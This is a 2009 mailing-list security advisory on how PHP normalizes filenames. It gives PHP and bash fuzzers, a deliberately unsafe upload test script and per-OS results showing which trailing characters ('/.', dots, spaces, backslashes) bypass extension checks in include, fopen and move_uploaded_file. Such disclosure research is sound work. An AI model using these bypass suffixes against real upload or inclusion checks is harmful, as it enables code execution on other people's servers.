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PHP filesystem attack vectors - Take Two
- To: Bugtraq <bugtraq@xxxxxxxxxxxxxxxxx>, Web Security <websecurity@xxxxxxxxxxxxx>, Vulnwatch <vulnwatch@xxxxxxxxxxxxx>, News Securiteam <news@xxxxxxxxxxxxxx>
- Subject: PHP filesystem attack vectors - Take Two
- From: ascii <ascii@xxxxxxxxxxxx>
- Date: Sun, 26 Jul 2009 18:15:50 +0200
PHP filesystem attack vectors - Take Two
Name PHP filesystem attack vectors - Take Two
Systems Affected PHP and PHP+Suhosin
Vendor http://www.php.net/
Advisory http://www.ush.it/team/ush/hack-phpfs/phpfs_mad_2.txt
Authors Giovanni "evilaliv3" Pellerano (evilaliv3 AT ush DOT it)
Antonio "s4tan" Parata (s4tan AT ush DOT it)
Francesco "ascii" Ongaro (ascii AT ush DOT it)
Alessandro "jekil" Tanasi (alessandro AT tanasi DOT it)
Date 20090725
I) Introduction
II) PHP arbitrary Local File Inclusion testing
III) PHP arbitrary Local File Inclusion results
IV) PHP arbitrary File Open testing
V) PHP arbitrary File Open results
VI) PHP arbitrary Remote File Upload testing
VII) PHP arbitrary Remote File Upload results
VIII) Conclusions
IX) References
I) Introduction
This is the second part and continuation of our previous "PHP filesystem
attack vectors" [1] research.
Working with s4tan and ascii on the "SugarCRM 5.2.0e Remote Code
Execution" advisory [2] we noticed a strange behaviour on Windows OS:
trying to upload a file named "a.php." results in just "a.php".
Analyzing this we noticed that every time an application, or manually,
was trying to open or save a file with one ore more dots at the end,
Windows was not denying the operation, but it was removing the dots in a
transparent way.
Mindful readers probably have already spotted the issue.
We wanted to take our time for a deeper investigation about what
normalization issues were available and how to take advantage of them
in order to exploit arbitrary local file inclusion/handling and uploads
functionalities (not only on Windows OS but also on GNU/Linux and *BSD).
Below you can find the sources of two simple "academic" fuzzers, later
results are discussed and finally POCs and conclusions are proposed.
II) PHP arbitrary Local File Inclusion testing
This tests include(), include_once(), require(), require_once() and
similiar functions.
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
alfi_fuzzer.php:
<?php
error_reporting(0);
$InterestingFile = "test_alfi.php";
$fh = @fopen($InterestingFile, 'w+');
fwrite($fh, "<?php ?>");
fclose($fh);
for ($i = 1; $i < 256; $i++) {
$chri = chr($i);
for ($j = 0; $j < 256; $j++) {
$chrj = chr($j);
for ($k = 0; $k < 256; $k++) {
$chrk = chr($k);
if($chri.$chrj.$chrk == '://') continue;
if ($j == 0) $FuzzyFile = $InterestingFile.$chri;
else if ($k == 0) $FuzzyFile = $InterestingFile.$chri.$chrj;
else $FuzzyFile = $InterestingFile.$chri.$chrj.$chrk;
if(include($FuzzyFile)) {
print($i." ".$j." ".$k." [".$FuzzyFile."]\n");
fclose($fh);
}
if($j == 0) break;
}
}
}
unlink($InterestingFile);
?>
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
Note: This code and the one that will be presented in section IV only
makes use of chars from the ASCII extended table (256 chars) to limit the
combinations because our intent was to test not only a malicious ending
char but a whole ending "extension" of 3 bytes.
A better fuzzer would include UTF-8. In the test we also do not
consider \x00, because this vector is already known [3, 4].
III) PHP arbitrary Local File Inclusion results
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
PHP 5.2.10-pl0-Gentoo
PHPFS_MAD2 $ php alfi_fuzzer.php
47 46 46 [test_alfi.php/.]
47 47 47 [test_alfi.php//.]
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27
PHPFS_MAD2 $ php alfi_fuzzer.php
[ NO RESULTS ]
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7
PHPFS_MAD2 $ php alfi_fuzzer.php
[ NO RESULTS ]
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-
PHP 5.3.0 Windows XP (WampServer 2.0i install)
C:\PHPFS_MAD2> php alfi_fuzzer.php
! Valid chars are: \x20 ( ), \x22 ("), \x2E (.), \x3C (<), \x3E (>)
! Valid strings are all combinations of the above chars.
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install)
C:\PHPFS_MAD2> php alfi_fuzzer.php
! Valid chars are: \x20 ( ), \x22 ("), \x2E (.), \x3C (<), \x3E (>)
! Valid strings are all combinations of the above chars.
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
IV) PHP arbitrary File Open testing
This tests fopen() and similiar functions.
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
afo_fuzzer.php:
<?php
error_reporting(0);
$MaliciousFile = "test_afo.php";
for ($i = 1; $i < 256; $i++) {
$chri = chr($i);
for ($j = 0; $j < 256; $j++) {
$chrj = chr($j);
for ($k = 0; $k < 256; $k++) {
if ($j == 0) $FuzzyFile = $MaliciousFile.$chri;
else if ($k == 0) $FuzzyFile = $MaliciousFile.$chri.$chrj;
else $FuzzyFile = $MaliciousFile.$chri.$chrj.chr($k);
$fh = @fopen($FuzzyFile, 'w+');
if ($fh != FALSE) {
fwrite($fh, $FuzzyFile);
fclose($fh);
if (file_exists($MaliciousFile)) {
if ($j == 0) print($i." ");
else if ($k == 0) print($i." ".$j." ");
else $FuzzyFile = print($i." ".$j." ".$k." ");
print("[".file_get_contents($MaliciousFile)."]\n");
unlink($MaliciousFile);
} else
unlink($FuzzyFile);
}
if($j == 0)
break;
}
}
}
?>
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
V) PHP arbitrary File Open Fuzzer results
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
PHP 5.2.10-pl0-Gentoo
PHPFS_MAD2 $ php afo_fuzzer.php
47 46 [test_afo.php/.]
47 47 46 [test_afo.php//.]
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27
PHPFS_MAD2 $ php afo_fuzzer.php
[ NO RESULTS ]
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-
PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7
PHPFS_MAD2 $ php afo_fuzzer.php
47 46 [test_afo.php/.]
47 47 46 [test_afo.php//.]
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-
PHP 5.3.0 Windows XP (WampServer 2.0i install)
C:\PHPFS_MAD2> php afo_fuzzer.php
! Valid chars are: \x2E (.), \x2F (/), \x5C (\)
! Valid strings are all combinations of the above chars.
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install)
C:\PHPFS_MAD2> php afo_fuzzer.php
! Valid chars are: \x2E (.), \x2F (/), \x5C (\)
! Valid strings are all combinations of the above chars.
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
VI) PHP arbitrary Remote File Upload testing
This tests move_uploaded_file() and similiar functions.
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
upload.php:
<?php
error_reporting(0);
$MaliciousFile = "evil.php";
if (isset($_GET['fuzzy'])) {
$FuzzyDestination = $MaliciousFile.$_GET['fuzzy'];
move_uploaded_file($_FILES['userfile']['tmp_name'], $FuzzyDestination);
printf($FuzzyDestination);
if (file_exists($MaliciousFile)) {
echo "SUCCESS";
unlink($MaliciousFile);
exit();
} else {
unlink($FuzzyDestination);
}
}
echo "FAIL";
?>
arfu_fuzzer.sh:
#!/bin/bash
touch "uploadtest.txt"
url="http://127.0.0.1/uploads/upload.php?fuzzy=";
for i in {1..255}; do
xi="%`printf %02x $i`"
for j in {0..255}; do
xj="%`printf %02x $j`"
for k in {0..255}; do
xk="%`printf %02x $k`"
ext="$xi$xj$xk"
[ $k -eq 0 ] && ext="$xi$xj"
[ $k -eq 0 ] && [ $j -eq 0 ] && ext="$xi"
response=`curl -kis -F "userfile=@xxxxxxxxxxxxxx;" $url$ext | grep
SUCCESS | wc -l`
if [ "$response" == "1" ]; then
echo "Found: $i $j $k -> ($ext)";
fi
[ $j -eq 0 ] && break
done
done
done
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
VII) PHP arbitrary Remote File Upload results
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
PHP 5.2.10-pl0-Gentoo
PHPFS_MAD2 $ sh test_arfu.sh
FOUND: 47 0 0 -> (/)
FOUND: 47 46 0 -> (/.)
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27
PHPFS_MAD2 $ sh test_arfu.sh
FOUND: 47 0 0 -> (/)
FOUND: 47 46 0 -> (/.)
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-
PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7
PHPFS_MAD2 $ sh test_arfu.sh
FOUND: 47 46 0 -> (/.)
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-
PHP 5.3.0 Windows XP (WampServer 2.0i install)
PHPFS_MAD2 $ sh test_arfu.sh
[ All the combinations of (space), ., /, \ are valid ones. ]
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install)
PHPFS_MAD2 $ sh test_arfu.sh
[ All the combinations of (space), ., /, \ are valid ones. ]
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
VIII) Conclusions
We found that it's possible to take advantage of filename normalization
routines in order to bypass common web application security routines,
detailed below:
- On GNU/Linux both (include|require)(_once)? functions will convert
"foo.php" followed by one or more sequences of \x2F (/) and \x2E (.)
back to "foo.php".
This does not work if Suhosin patch is applied.
- On GNU/Linux the fopen function will convert "foo.php" followed by one
or more sequences of \x2F (/) and \x2E (.) back to "foo.php".
This does not work if Suhosin patch is applied.
- On GNU/Linux move_uploaded_file function will convert "foo.php"
followed by one or more sequences of \x2F (/) and \x2E (.) back to
"foo.php".
This does work anyway *also* if Suhosin patch is applied.
- On FreeBSD the fopen function will convert "foo.php" followed by one
or more sequences of \x2F (/) and \x2E (.) back to "foo.php".
This does work anyway *also* if Suhosin patch is applied.
Suhosin is shipped in the the default install.
- On FreeBSD the move_uploaded_file function will convert "foo.php"
followed by one or more sequences of \x2F (/) and \x2E (.) back to
"foo.php".
This does work anyway *also* if Suhosin patch is applied.
Suhosin is shipped in the the default install.
- On Windows OS both (include|require)(_once)? functions will convert
"foo.php" followed by one or more of the chars \x20 ( ), \x22 ("),
\x2E (.), \x3C (<), \x3E (>) back to "foo.php".
- On Windows OS the fopen function will convert "foo.php" followed by
one or more of the chars \x2E (.), \x2F (/), \x5C (\) back to
"foo.php".
- On Windows OS move_uploaded_file function will convert "foo.php"
followed by one or more of the chars \x2E (.), \x2F (/), \x5C (\)
back to "foo.php".
We have observed that some particular strings like "foo.php./" or
"foo.php.\" force Windows to create a file called "foo.php.". It
seems that Windows' functions do not contemplate the existence of
a file with dots at the end (perhaps Windows hackers can better
comment on this).
All functions on that file will fail their attempt, so that it's not
possible to easily delete or rename that file (one has to do del *
or similiar).
IX) References
[1] http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt
[2] http://www.ush.it/team/ush/hack-sugarcrm_520e/adv.txt
[3] http://www.securiteam.com/securitynews/5FP0C0KJPQ.html
[4] http://ha.ckers.org/blog/20060914/php-vulnerable-to-null-byte-injection/
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
Credits (Out of band)
This article has been bought to you by the ush.it team. Giovanni
"evilaliv3" Pellerano, Antonio "s4tan" Parata and Francesco "ascii"
Ongaro are the ones who spent most hours on it with the precious help
of Alessandro "Jekil" Tanasi, Florin "Slippery" Iamandi and many other
friends.
Giovanni "evilaliv3" Pellerano
web site: http://www.ush.it/, http://www.evilaliv3.org/
mail: evilaliv3 AT ush DOT it
Antonio "s4tan" Parata
web site: http://www.ush.it/
mail: s4tan AT ush DOT it
Francesco "ascii" Ongaro
web site: http://www.ush.it/
mail: ascii AT ush DOT it
Alessandro "jekil" Tanasi
web site: http://www.tanasi.it/
mail: alessandro AT tanasi DOT it
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
Legal Notices
Copyright (c) 2009 Francesco "ascii" Ongaro
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.
Disclaimer: The information in the article is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.